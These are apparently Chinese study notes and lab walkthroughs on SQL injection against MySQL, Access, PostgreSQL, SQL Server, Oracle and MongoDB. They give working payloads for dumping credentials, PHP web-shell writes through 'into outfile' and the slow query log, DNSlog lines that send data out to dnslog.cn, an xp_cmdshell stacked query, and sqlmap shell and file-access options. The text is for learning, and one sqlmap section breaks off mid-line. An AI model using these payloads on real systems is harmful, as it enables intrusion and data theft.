SQL注入–根据数据类型注入–根据提交方式注入–延迟报错等

一、根据数据类型

数据类型注入 – 数字型 字符型 搜索型 加密型(base64 json)等
·数字型:0到9;
·字符型:a-Z、中文、标点符号,会使用单引号闭合;
·搜索型:在基础上增加通配符,比如会加入百分号来进行搜索,比如‘%…%’;
·编码型:数据以编码值传递。比如客户端发送编码,服务端对编码解码之后再带入数据进行sql执行。所以我们针对这种类型,要对payload进行编码;
·加密型:数据会以加密后的密文发送,服务端解密再进行操作;
·格式型:比如JSON

如何判断类型?一般用get方式传数据的话可以在地址栏那里看到查询的语句,比如?id=1可能是数字型,比如?name=sigma可能是字符型 ,比如注入点是搜索框,可能是搜索型,要是看不懂的如?id=be==可能是编码型

json形式跟别的区别在于表现的形式。json是键名和键值组合的,因此在构造payload的时候要注意一些细节,如
json={“username”:”admin’ and 1=2 union select 1,database(),3#”}
注入的内容其实没变,只是要找到注入点位置

宽字节注入

借助繁体字符或者乱码,他们会占用两个字节。在一些有转义功能的情况中,\占1个字符,如果使用宽字节,可以占用该位置

二、根据提交方式:

首先,我们注意很多时候使用get方式提交数据的时候,我们能直接修改URL来测试。但是浏览器不可能让我们输入无限长度的url,所以往往会换一种方式提交,即POST方式等(数据请求方式-GET&POST&COOKIE等)。

get一般在报文头
cookie一般在报文中
post一般在报文尾

在一些网页功能点,需要与数据库产生联系,比如查询的,就会产生sql注入的可能。
迪总给出了三种情景:
①后台要记录操作IP
②网站要根据用户的设备给予显示界面
③网站要进行文件上传,用户登录等

使用工具(sqlmap)时,使用数据包来操作比较高效。而使用工具的时候还需要告诉工具使用何种方式提交数据,否则笨比工具不会知道的。

迪总讲了几个案例:
1.zzcms记录ip
如果输入账号密码后,出现了限制次数,思路可以是换IP地址看看限制有没有解除。在演示中,zzcms有一个getip()函数,该函数作用是提取IP。过程是依次从可能存在ip地址的数据中查看ip,其中有一个获取ip的地方叫“X-Forwarded-For:”可以通过抓包修改伪造ip。如果没有这个,可能会获取本机IP。该漏洞类型可以成为XFF头注入

数据库类型:决定攻击手法,payload不一样
数据类型注入:payload考虑闭合、数据格式
提交方式:数据请求不同,注入需要按照指定的方式去测试。注意,url没有参数不代表没有注入,比如post可能把请求数据放在数据包之中,另外,http数据包任何一个地方只要被接受,如XFF,就有可能产生漏洞。

#部分语言接受代码块

<?php

header(“Content-Type: text/html; charset=utf-8”);

$get=$_GET[‘g’];

$post=$_POST[‘p’];

$cookie=$_COOKIE[‘c’];

$request=$_REQUEST[‘r’];

$host=$_SERVER[‘HTTP_HOST’];

$user_agent=$_SERVER[“HTTP_USER_AGENT”];

$ip=$_SERVER[“HTTP_X_FORWARDED_FOR”];

echo $get.”<hr>”;

echo $post.”<hr>”;

echo $cookie.”<hr>”;

echo $request.”<hr>”;

echo $host.”<hr>”;

echo $user_agent.”<hr>”;

echo $ip;

?>

Java Spring  不同框架,不同写法

method=RequestMethod.GET

method=RequestMethod.POST

request.getParameter(“参数名”);

可以直接获取get请求的参数key对应的value

也可以从请求体中获取参数的key对应的value

Python flask 不同框架,不同写法

requests.get

requests.post

request.args.get(key)

request.form.get(key)

request.values.get(key)

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

解决:常规的联合查询注入不行的情况

我们可以知道盲注分为以下三类:

-基于布尔的SQL盲注-逻辑判断

regexp,like,ascii,left,ord,mid

-基于时间的SQL盲注-延时判断

if,sleep

-基于报错的SQL盲注-报错回显

floor,updatexml,extractvalue //以php为例子,$result=mysql_query($sql,$conn) or die(mysql_error())这是为了容错触发的报错命令,只有写上了这条命令才能使用否则无效。

https://www.jianshu.com/p/bc35f8dd4f7c

参考:

like ‘ro%’ #判断ro或ro…是否成立

regexp ‘^xiaodi[a-z]’ #匹配xiaodi及xiaodi…等

if(条件,5,0) #条件成立 返回5 反之 返回0

sleep(5) #SQL语句延时执行5秒,可以在bp里面抓包发送,观察右下角的速度来判断

mid(a,b,c) #从位置b开始,截取a字符串的c位

substr(a,b,c) #从位置b开始,截取字符串a的c长度

left(database(),1),database() #left(a,b)从左侧截取a的前b位

length(database())=8 #判断数据库database()名的长度

ord=ascii ascii(x)=97 #判断x的ascii码是否等于97

SQL查询方式注入

select,insert,update,delete,orderby等

#SQL-盲注&布尔&报错&延时

PHP开发项目-输出结果&开启报错

基于延时:不需要任何前提条件就能运用

/blog/news.php?id=1 and if(1=1,sleep(5),0)

基于布尔:有数据库输出判断标准

/blog/news.php?id=1 and length(database())=7

基于报错:有数据库报错处理判断标准

/blog/news.php?id=2 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

基本知识本地测试

select * from member where username like ‘vi%’;

select * from member where username regexp ‘^x’;

select * from member where id=1 and sleep(1);

select * from member where id=1 and if(1>2,sleep(1),0);

select * from member where id=1 and if(1<2,sleep(1),0);

select * from member where id=1 and length(database())=7;

select * from member where id=1 and left(database(),1)=’p’;

select * from member where id=1 and left(database(),2)=’pi’;

select * from member where id=1 and substr(database(),1,1)=’p’;

select * from member where id=1 and substr(database(),2,1)=’i’;

select * from member where id=1 and ord(left(database(),1))=112; //ord()指的是变成ascii码

1、数据库堆叠注入
2、数据库二次注入

二次注入:先把攻击语句插入数据库中,当其他操作调用该数据,拼接后的新的payload会进行攻击。存在二次注入的特征,比如当注册需要邮箱、用户名、密码等,登录的时候需要输入用户名或者邮箱,密码,登陆成功显示了没有输入的内容,表明存在能二次注入的可能。
比方说,登陆输入邮箱、密码,登陆成功能够显示用户名(并没有输入),说明进行了查询,那么攻击者会把payload注入到用户名,后续执行操作会拼接语句。
换而言之,二次注入的原因是程序员限制、过滤用户输入的恶意payload,但是在存储时能够被完整保存下来,由于使用查看等不会储存如新数据的功能,程序员在这里没有进行过滤,导致了二次注入漏洞。
3、数据库Dnslog注入

#堆叠注入-数据库类型&强网杯2019随便注

根据数据库类型决定是否支持多条语句执行

支持堆叠数据库类型:MYSQL MSSQL Postgresql等

‘;show databases;

‘;show tables;

‘;show columns from `1919810931114514`;

‘;select flag from `1919810931114514`;

‘;SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;

#DNS利用-平台介绍&SQL注入&命令执行等

1.平台

http://www.dnslog.cn

http://admin.dnslog.link

http://ceye.io

2.应用场景:

解决不回显,反向连接,SQL注入,命令执行,SSRF等。当网页不回显信息,可以使用DNSlog带外让服务器自己发出申请,让命令执行结果显示在dnslog.cn这个网页上,比如显示版本号、数据库名等。
在内网中发挥作用,此处回忆内网安全学习中使用dns传输数据的内容。
在命令执行中,dnslog发挥巨大用处。

SQL注入:

select load_file(concat(‘\\\\’,(select database()),’.7logee.dnslog.cn\\aa’));

and (select load_file(concat(‘//’,(select database()),’.69knl9.dnslog.cn/abc’)))

命令执行:

ping %USERNAME%.7logee.dnslog.cn

SQLMAP

参考文章

之前学习了手工注入sql,但是由于各个厂家使用的数据库不同,配置的环境不同等,靠手工很繁琐而且可能遇上很多问题。为了节省时间提高效率自然我们要学会使用工具,比如sqlmap,我直接copy迪总的笔记,本篇文章作为使用文档在遇到问题的时候发挥参考作用。

基本操作笔记:-u #注入点

-f #指纹判别数据库类型

-b #获取数据库版本信息

-p #指定可测试的参数(?page=1&id=2 -p “page,id”)

-D “” #指定数据库名

-T “” #指定表名

-C “” #指定字段

-s “” #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s “xx.log”  恢复:-s “xx.log” –resume)

–level=(1-5) #要执行的测试水平等级,默认为1

–risk=(0-3) #测试执行的风险等级,默认为1

–time-sec=(2,5) #延迟响应,默认为5

–data #通过POST发送数据

–columns #列出字段

–current-user #获取当前用户名称

–current-db #获取当前数据库名称

–users #列数据库所有用户

–passwords #数据库用户所有密码

–privileges #查看用户权限(–privileges -U root)

-U #指定数据库用户

–dbs #列出所有数据库

–tables -D “” #列出指定数据库中的表

–columns -T “user” -D “mysql” #列出mysql数据库中的user表的所有字段

–dump-all #列出所有数据库所有表

–exclude-sysdbs #只列出用户自己新建的数据库和表

–dump -T “” -D “” -C “” #列出指定数据库的表的字段的数据(–dump -T users -D master -C surname)

–dump -T “” -D “” –start 2 –top 4 # 列出指定数据库的表的2-4字段的数据

–dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)

–os #指定系统(Linux,Windows)

-v #详细的等级(0-6)

0:只显示Python的回溯,错误和关键消息。

1:显示信息和警告消息。

2:显示调试消息。

3:有效载荷注入。

4:显示HTTP请求。

5:显示HTTP响应头。

6:显示HTTP响应页面的内容

–privileges #查看权限

–is-dba #是否是数据库管理员

–roles #枚举数据库用户角色

–udf-inject #导入用户自定义函数(获取系统权限)

–union-check #是否支持union 注入

–union-cols #union 查询表记录

–union-test #union 语句测试

–union-use #采用union 注入

–union-tech orderby #union配合order by

–data “” #POST方式提交数据(–data “page=1&id=2”)

–cookie “用;号分开” #cookie注入(–cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)

–referer “” #使用referer欺骗(–referer “http://www.baidu.com”)

–user-agent “” #自定义user-agent

–proxy “http://127.0.0.1:8118” #代理注入

–string=”” #指定关键词,字符串匹配.

–threads    #采用多线程(–threads 3)

–sql-shell #执行指定sql命令

–sql-query #执行指定的sql语句(–sql-query “SELECT password FROM mysql.user WHERE user = ‘root’ LIMIT 0, 1” )

–file-read #读取指定文件

–file-write #写入本地文件(–file-write /test/test.txt –file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)

–file-dest #要写入的文件绝对路径

–os-cmd=id #执行系统命令

–os-shell #系统交互shell

–os-pwn #反弹shell(–os-pwn –msf-path=/opt/framework/msf3/)

–msf-path= #matesploit绝对路径(–msf-path=/opt/framework/msf3/)

–os-smbrelay #

–os-bof #

–reg-read #读取win系统注册表

–priv-esc #

–time-sec= #延迟设置 默认–time-sec=5 为5秒

-p “user-agent” –user-agent “sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)” #指定user-agent注入

–eta #盲注

/pentest/database/sqlmap/txt/

common-columns.txt  字段字典   

common-outputs.txt

common-tables.txt 表字典

keywords.txt

oracle-default-passwords.txt

user-agents.txt

wordlist.txt

常用语句 :

1./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -f -b –current-user –current-db –users –passwords –dbs -v 0

2./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –passwords -U root –union-use -v 2

3./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –dump -T users -C username -D userdb –start 2 –stop 3 -v 2

4./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –dump -C “user,pass” -v 1 –exclude-sysdbs

5./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –sql-shell -v 2

6./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –file-read “c:\boot.ini” -v 2

7./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –file-write /test/test.txt –file-dest /var/www/html/1.txt -v 2

8./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –os-cmd “id” -v 1

9./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –os-shell –union-use -v 2

10./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –os-pwn –msf-path=/opt/framework/msf3 –priv-esc -v 1

11./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –os-pwn –msf-path=/opt/framework/msf3 -v 1

12./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –os-bof –msf-path=/opt/framework/msf3 -v 1

13./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 –reg-add –reg-key=”HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap” –reg-value=Test –reg-type=REG_SZ –reg-data=1

14./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b –eta

15./sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1” -p id –prefix “‘)” –suffix “AND (‘abc’=’abc”

16./sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1” –auth-type Basic –auth-cred “testuser:testpass”

17./sqlmap.py -l burp.log –scope=”(www)?\.target\.(com|net|org)”

18./sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/get_int.php?id=1” –tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

19./sqlmap.py -u “http://192.168.136.131/sqlmap/mssql/get_int.php?id=1” –sql-query “SELECT ‘foo'” -v 1

20./sqlmap.py -u “http://192.168.136.129/mysql/get_int_4.php?id=1” –common-tables -D testdb –banner

21./sqlmap.py -u “http://192.168.136.129/mysql/get_int_4.php?id=1″ –cookie=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low” –string=’xx’ –dbs –level=3 -p “uid”

简单的注入流程 :

1.读取数据库版本,当前用户,当前数据库

sqlmap -u http://www.xxxxx.com/test.php?p=2 -f -b –current-user –current-db -v 1

2.判断当前数据库用户权限

sqlmap -u http://www.xxxxx.com/test.php?p=2 –privileges -U 用户名 -v 1

sqlmap -u http://www.xxxxx.com/test.php?p=2 –is-dba -U 用户名 -v 1

3.读取所有数据库用户或指定数据库用户的密码

sqlmap -u http://www.xxxxx.com/test.php?p=2 –users –passwords -v 2

sqlmap -u http://www.xxxxx.com/test.php?p=2 –passwords -U root -v 2

4.获取所有数据库

sqlmap -u http://www.xxxxx.com/test.php?p=2 –dbs -v 2

5.获取指定数据库中的所有表

sqlmap -u http://www.xxxxx.com/test.php?p=2 –tables -D mysql -v 2

6.获取指定数据库名中指定表的字段

sqlmap -u http://www.xxxxx.com/test.php?p=2 –columns -D mysql -T users -v 2

7.获取指定数据库名中指定表中指定字段的数据

sqlmap -u http://www.xxxxx.com/test.php?p=2 –dump -D mysql -T users -C “username,password” -s “sqlnmapdb.log” -v 2

8.file-read读取web文件

sqlmap -u http://www.xxxxx.com/test.php?p=2 –file-read “/etc/passwd” -v 2

9.file-write写入文件到web

sqlmap -u http://www.xxxxx.com/test.php?p=2 –file-write /localhost/mm.php –file使用sqlmap绕过防火墙进行注入测试:

SQL注入-mysql、access、postgresql、sqlserver、oracle、MongoDB(未完成)

上一篇关于sql注入的文章已经是21年底的时候发布的了,随着安全意识提高,人们对注入类型的漏洞更加关注,经过不懈努力注入在owasp2021从原来的top1下降到top3。但是,少归少,漏洞还是会存在的,针对不同的数据库,像ACCESS、MYSQL、ORACLE、DB2等根据不同的语言特性会有不同的构造闭合手法,这篇文章先学习ACCESS和MYSQL

漏洞产生特性:可控变量、特定函数

之前的文章学习过,手动注入思路简单地说就是基于字典试错,爆数据库名-爆表名-爆字段名-爆数据,可以根据额ASCII一个个字符跑。

一、ASP+ACCESS-简易注入-字典猜测


根据ACCESS特性,如果猜不对的时候会报错,基于字典去猜表名字段名。

二、ASP+ACCESS-偏移注入-报错显示


偏移注入是解决表名已知,列名未知的问题。

三、MYSQL

MYSQL两种思路:
1.非root的注入攻击:常规的猜解
2.root用户的注入攻击:文件读写操作、跨库查询注入
黑盒中使用user(),白盒看连接用户 //判断身份

那么可以在手工找sql的思路上再改进,那就是先看数据库版本,5.0以上能用information_schema,然后看用户,根据是否是root用户采取不同的措施,然后是看当前的操作系统,因为涉及大小写、文件路径选择等,Linux对大小写敏感,windows不敏感。命令如下:
①version()
②user()
③@@version_complie_os()

下面就是传统爆下去了

本篇文章到这里相当没有营养,日后补充2.28

ACCESS无高权限注入点,只能猜解(暴力破解)

高权限除了能猜解,还能读写。

读写功能的作用是,找到文件路径之后,可以使用注入的payload注入一句话木马连接菜刀。示范(写入):
?id=2 UNION SELECT 1,'<?php eval($_POST[X]);?>’,3,4,5,6,7…into outfile ‘D:/phpstudy/PHPTutorial/WWW/blog/1.php’
上传payload到目标目录后,打开菜刀,密钥为“x”连接。
如何获得该路径呢?
1.网站报错路径显示
2.phpinfo
3.字典 //

然而读写不是一定能成功的,一些经过配置的数据库能限制对于盘符的操作。比如mysql配置文件(php-ini)里面的 secure-file-priv=中把等于号后面设置成C:/(=C:/)可以限制只能对C盘进行读写操作。(mysql5.6默认null)
如何突破?注入中需要支持SQL执行环境,如果没有就要接著phpmyadmin也许能够连上对方数据库进行绕过。
迪总演示了如何使用mysql慢日志来写入一句话木马:在数据库命令行中
1.set global slow_query_log=1;
2.set global show_query_log_file=’shell路径‘; //路径就是要插入shell的目录,比如果网站的根目录,比如说存入xxx.
3.select ‘<?php eval($_GET[a])?>’ or SLEEP(1); //一句话木马就会被写入到2步中文件的中

四、PostgreSQL:

手工注入:注入思路是万变不离其宗的,可以利用mysql注入的思路,只不过对于一些函数、查询语句的使用方法我们要区分不同数据库。

①查一下当前能被解析的select语句有几列,使用 order by * 试出页面出现错误未知,得出能显示的列数
order by *
and 1=2 union select null,null,null,null

②看回显位置。先让数据库报错,然后依次尝试正确输出的位置,通过看网页回显得出哪些列能回显数据
比如 and 1=2 union select null,’null’,null.null //他的第二位能正确回显“null”目的就实现了

③根据回显位,我们开始查询想要得到的信息,比如数据库版本,当前数据库用户等:
and 1=2 union select null,version(),null,null //查看版本,如下图


and 1=2 union select null,current_user,null,null //查看当前登录用户,如下图


and 1=2 union select null,current_database(),null,null //查看当前数据库,如下图

-获取数据库名:
and 1=2 union select null,string_agg(datname,’,’),null,null from pg_database

-获取表名:
1、and 1=2 union select null,string_agg(tablename,’,’),null,null from pg_tables where schemaname=’public’
2、and 1=2 union select null,string_agg(relname,’,’),null,null from pg_stat_user_tables

-获取列名:
and 1=2 union select null,string_agg(column_name,’,’),null,null from information_schema.columns where table_name=’reg_users’

-获取数据:
and 1=2 union select null,string_agg(name,’,’),string_agg(password,’,’),null from reg_users

-补充-获取dba用户(同样在DBA数据库管理员用户下,是可以进行文件读写的):
and 1=2 union select null,string_agg(usename,’,’),null,null FROM pg_user WHERE usesuper IS TRUE

postgereSQL注入跟mysql的区别主要是对于数据据库名查询上

五、sqlserver

sqlserver的最高权限用户为 SA

思路和上面所说大体一致,区别是:
①获取版本:@@version
②获取当前数据库名字:db_name()
③获取当前用户名:user、system_user、current_user、user_name
④获取服务器主机信息:@@SERVERNAME

-获取表名:
and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=’u’),null,null

union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=’u’ and name not in (‘manage’)),null,null

-获取列名:
and 1=2 union all select null,(select top 1 col_name(object_id(‘manage’),1) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id(‘manage’),2) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id(‘manage’),3) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id(‘manage’),4) from sysobjects),null,null

-获取数据:
and 1=2 union all select null,username, password ,null from manage

六、oracle

参考:http://参考:https://www.cnblogs.com/peterpan0707007/p/8242119.html

测回显:and 1=2 union select ‘1’,’2′ from dual

爆库:and 1=2 union select ‘1’,(select table_name from user_tables where rownum=1) from dual

模糊爆库:and 1=2 union select ‘1’,(select table_name from user_tables where rownum=1 and table_name like ‘%user%’) from dual

爆列名:and 1=2 union select ‘1’,(select column_name from all_tab_columns where rownum=1 and table_name=’sns_users’) from dual

爆其他列名:and 1=2 union select ‘1’,(select column_name from all_tab_columns where rownum=1 and table_name=’sns_users’ and column_name not in (‘USER_NAME’)) from dual

爆数据:and 1=2 union select user_name,user_pwd from “sns_users”

爆其他数据:and 1=2 union select user_name,user_pwd from “sns_users” where USER_NAME<>’hu’ //除了hu以外其他的用户和密码

七、MongoDB

参考

测回显:/new_list.php?id=1′}); return ({title:1,content:’2

爆库: /new_list.php?id=1′}); return ({title:tojson(db),content:’1

爆表: /new_list.php?id=1′}); return ({title:tojson(db.getCollectionNames()),content:’1

爆字段:/new_list.php?id=1′}); return ({title:tojson(db.Authority_confidential.find()[0]),content:’1

db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。

db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第一条数据

堆叠、带外:
带外:dnslog


sql-lab-3

这关输入 ?id=1′ 后根据错误信息判断我们的输入被()包着了,看一眼源码确实是

所以这关从?id=1‘) order by 3/4 –+变化知道跟前三关一样的方法,不过是加上)而已

Sql-lab-2

看题目描述是整数型

那么回忆第一关的做法我尝试了添加 ‘ 发现是报错的,那么仿造第一关用order by 1-n来尝试能不能看到列数发现是不行的。我很坏的看了一下源码,在查询语句那我看到是对get传入的id做判断,没有用 ‘ ‘包裹住,所以我猜测可以试试看:
1 and 1=1 正常
1 and 1=2 错误
呐,这就说明了存在整数型的sql注入点,可以利用。

欸嘿,熟练了这次,那么就可以根据第一关思路来一波order by看看列数
?id=1 and 1=1 order by 3正常
?id=1 and 1=1 order by 4显示不正常
那么说明了有三列,接下来就是继续爆库爆表暴字段爆值

那么其实按照第一关的payload来一遍就好了,只不过把那个 ‘ 去掉

然后看了一下别人的解题,第一关手搓报错感觉挺好玩,我也试一试
这次我们用报错函数:

?id=1′ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) –+
【 FUNCTION security.extractvalue does not exist 尴尬,貌似没有这个函数,查阅资料看看怎么解决】

Sql-lab-1

还是想先从sql好好学,之前pikachu感觉emmmmmmmmmmm

首先网上我们需要打开phpstudy的apache和mysql,注意如果有占用端口不能正常启动那就kill掉占用端口的进程或者改端口。然后是因为这个sqli-labs是印度的一个老哥很多年前写的了所以新的php版本(php7以及以上)有些语句不适用,要么进入文件修改要么就是phpstudy把php版本降低就可以正常使用了。

第一关:
根据提示在url里面我输入 ?id=1 进行查询得到结果,能在url看到查询情况说明处理表单的模式为GET。我注意到当我在语句后加上如‘会被转义成%27,其他的字符也被转义了,但是没有报错,查阅资料是说因为php版本配置文件中的魔术引号被打开,找到magic_quotes_gpc=On改为Off,然后重启apache就好了。我发现每次配置些都会遇到些问题hhh

【在学习《代码审计》的时候提到为什么知道软件,或者中间件的版本号泄露是多么危险的事情,因为根据特性不但可以利用已知的漏洞,还会根据特性构造不同的paylaod】

那么接着继续做,重新输入?id=1’后报错了。那么既然有报错的回显,还能查询id对应的用户名以及密码,首先就想通过构造payload显示更高权限的用户名和口令,那么就得知道查询的语句,当然少不了知道数据库名,表名,列名,字段名等.

所以为了减少手动输入的麻烦,用bp的repeater来帮我发送。
在url里输入
?id=1′ order by 1 –+ 正常

?id=1′ order by 2 –+ 正常

?id=1′ order by 3 –+ 正常

?id=1′ order by 4 –+ 不正常 Unknown column ‘4’ in ‘order clause’

这里用order by 排序,目的是看看列数,因此这关是有3列,也就是说我们可以在构造payload的时候把结果显示在前三列中。

那么我们先看看数据库的名字,用database()是可以的,因此payload为 ?id=-1′ union select 1,2,database() –+使用联合查询把数据库名显示在第三列那。爆出库名为security
那么接下来是爆表名:
?id=-1′ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() –+

【根据之前的知识,mysql5.0以及以后的版本里,表名这些东西被保存在information_schema里,“.”表示上一级;那么这条payload的意思是在xx.tables 里找securi库的表名,group_concat(table_name):[concat(str1,str2):表示把多个字符串变成一个字符串/group_concat(str1,str2):
将group by产生的同一个分组中的值连接起来,返回一个字符串结果,也就是所谓的把多行转化为一行(也就是所谓的列转行,Oracle中对应wm_concat) ]】

刚才的payload爆出来有个表叫users,可以判断为目标表,下一步就是构造爆字段的payload,同样的也可以在informa_schema里找到,payload如下:
?id=-1′ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’ –+
可以看到结果是
id,username,password,level,id,username,password
知道了字段名,之后就是爆值。

构造payload:?id=-1′ union select 1,2,group_concat(username,0x3a,password) from users –+

【可以看到得到了admin账户的密码。

0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ‘:’ ,用以分割pasword和username 。也可以用别的符号进行分割,第一关算是完成了。】 第一关学习到了sql的联合查询语句,以及回忆起保存数据的information_schema的使用,总的来说遇到有回显错误的可能注入点,通过从列数,库名,表名,字段名,值一步一步构造payload来得到答案。本次操作有很多参考了csdn上的文章

Sql注入

也是学习《sql注入攻击与防御》的笔记

1、一些数据库的管理员或者知名账户
oracl:sys、system、 dbsnmp、ouyln
sql server:sa
mysql:root、anonymous

2、mysql(5.0以及之后的版本)的元数据(数据库的内部数据)在INFORMATION_SCHEMA的数据库中,也就是存着所有数据库的名,所有字段的名等。
用SHOW DATABASES;
SHOW TABLES; 来访问元数据

3、继续阅读《sql注入攻击与防御》一书,对于sql注入漏洞的历史,当互联网第一次跟数据库连接的时候,就注定有了,那么它第一次引起公众注意的是1998年的圣诞节。

4、识别sql注入:通过发送意外数据触发错误/异常。
(1)识别web应用所有的数据输入
(2)了解哪种类型的请求会触发异常
(3)检测服务器响应的异常

5、架构(b/s、c/s)今天cj跟我探讨过这两个架构,刚好现在阅读也看到了。
b/s架构:既浏览器、服务器,好处就是当业务更新的时候只需要在服务器更新就可以了,用户可以在浏览器看到更新的内容。
c/s架构:既客户端、服务端,当有一个更新的时候,不仅服务器需要更新,客户端也要更新,好处就是服务端可以处理很多本地数据,比如在我们平时玩的游戏中,加载画面,进行运算很多都是在客户端本地计算来获得流畅度。

6、继续巩固GET、POST请求的区别
简短说get是请求服务器,post是向服务器发送消息。在点击url时一般时get因为可以看到参数,一般像表单提交submit的时候用post。
在报文中,get请求在首部,post在底部

7、当浏览器禁止修改参数的时候可以采取的方法:
(1)使用浏览器扩展
(2)使用本地代理(burp suit)

8、今天的学习印象很深的一句话是书中说的:测试sql注入漏洞时,可能会从web服务器收到不同的数据库错误,一定要熟知这些错误。

sql盲注
对于不显示数据库数据信息,但是显示不同情况的状态,存在漏洞的话属于盲注
sql盲注是非常耗时的并且会向web服务发送很多请求,一般还是用自动化比较好。

在url中可以用减号(-)来构建查询,比如id=2可以写成id=3-1,id=4-2。但是不能用加号(+),因为加号是URI的保留字,用 %2B 代表加号的url编码,比如查询id=6可以写成
id=1%2B5,id=2%2B4.

通过OR 或者 AND 判断注入点,下面要区分数字还有字符串
数字:不需要(’)
字符串:需要(’)
如果是数字和字符串混合,也需要用(’)包起来

sql server 重载(+),可以用(+)表示字符串连接。根据情况:
2+2 表示 4
‘2’+‘2’ 表示 ‘22’

复查代码中的SQL注入(白盒)

找程序潜在的sql漏洞,最快的就是复查程序源码(有些人比如在银行工作是不能用sql注入工具进行测试的)。快速复查可以明白某些动态字符串的构造和执行方式,不能明确用于查询的数据是否源于用户的浏览器(防止xss、中间人攻击)以及将数据给用户的时候有没有进行正确的验证或者编码。

渗入点】程序易受攻击的位置,受感染的数据会引发潜在的安全问题,也可以叫做【敏感函数,发现敏感函数之后要找到它的【渗入源】也就是入口点,并且通过搜索源码找到给敏感函数的一些参数如$param赋值的语句位置。比如找到:
$param=$_GET[“param”];
然后就是根据这个变量找到它的利用方式,也就是使用它的位置和方式。有些时候发现会对参数进行一些限制,比如用$limit变量对参数的长度进行一个限制,此时我们可以去跟踪一下$limit看看存在多大的注入空间。
我们知道,尽管使用了安全函数,但不可能完全防御SQL注入。所以我们审查的时候还需要着重看一下存在的其他安全问题,如:
1.危险的编码行为:
【提醒一下】url最长2048位,GET放在url里有长度限制,POST就没有。

2.危险的函数:

3.跟踪数据
可以使用基于UNIX的命令行查询工具【grep】,它可以通过正则表达式查找符合要求的文本。
(1)以跟踪php数据为例子:
首先要检查一些敏感的配置状态,如:register_globals(把EGPCS变量注册成全局变量,十分危险php4.2.0默认禁止了)和magic_quotes(这个魔术引号可以报出sql语句一些错误,比如使用单引号闭合的时候会报错,以此来进行下一步操作,关掉就看不到了,php5.3.0弃用该选项,php6.0.0移除该选项,所以也要关注php版本)。

然后使用 grep -r -n xxxxxxxxxx 来递归搜索一个源文件的目录,该命令i包含匹配内容的文件名和行号(我漏写了让结果更加美观的awk)完整的应该如下:(以查找input为例子)

$ grep -r -n “\input=.*$\.*” src/ | awk -F: ‘{print “filename:” $1″\nline: “$2″\nmatch: “$3″\n\n”}’


(2)复查Android应用程序代码

介绍一下如何拿到android的程序源码:
android平台以Dalvik Executable(.dex)格式运行应用程序,使用dex2jar可以把android应用程序的包文件(APK)转换为Java AchiveJAR)文件,然后使用java反汇编程序,如jdgui或者jad,反汇编应用程序并且查看源码。
【dex2jar】http://code.google.com/p.dex2jar
【jdgui】http://java.decompiler.free.fr?q=jdgui
【jad】http://varaneckas.com/jad

android的危险函数:
SQLiteQueryBuilder类
SQLiteDatabase类
上述俩类用来与SQLite交互。

SQLMap
kali里面就有,运行需要python环境,在windows做实验要注意
常用命令:
1.sqlmap -u url //找到注入点
2.sqlmap -u –dbs //列出数据库
3.sqlmap -u url –user //显示数据库用户
4.sqlmap -u url –table -D “tesdb” //列出test数据库的表
5.sqlmap -u url –columns -T “user” -D “testdb” //列出test库的user的列
6.sqlmap -u url –dump -C “id,username,password” -T “user” -D “testdb” //列出user列的字段。

————————————————-利用sql注入————————————————————

1.看看能不能用堆叠查询,就是在单个数据库连接中执行多条查询序列,这给操作者提供了便利,比如如下代码:
http://xxx.com/product.id=1;exec+master..xp_cmdshell+’dir’
不仅可以终止原来的查询还能添加一条新的查询
根据框架不同,不是所有都能实现堆叠查询,比如 使用ASP.NET和PHP访问ms sql server的时候可以,但是用JAV来查询就不行;如果访问mysql,PHP不能使用堆叠查询等。要了解这些不同可以访问一下连接查看,作者是ferruh mavituna:
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/

2.知道数据库的程序版本信息,利用已有的漏洞
根据不同数据库,使用一下指令可以查询版本:
1.ms sql server:SELECT@@version
2.mysql:SELECT version()
SELECT @@version
3.Oracle:SELECT banner FROM v$version
SELECT banner FROM v$version WHERE rownum=1
4.PostgreSQL: SELECT version()

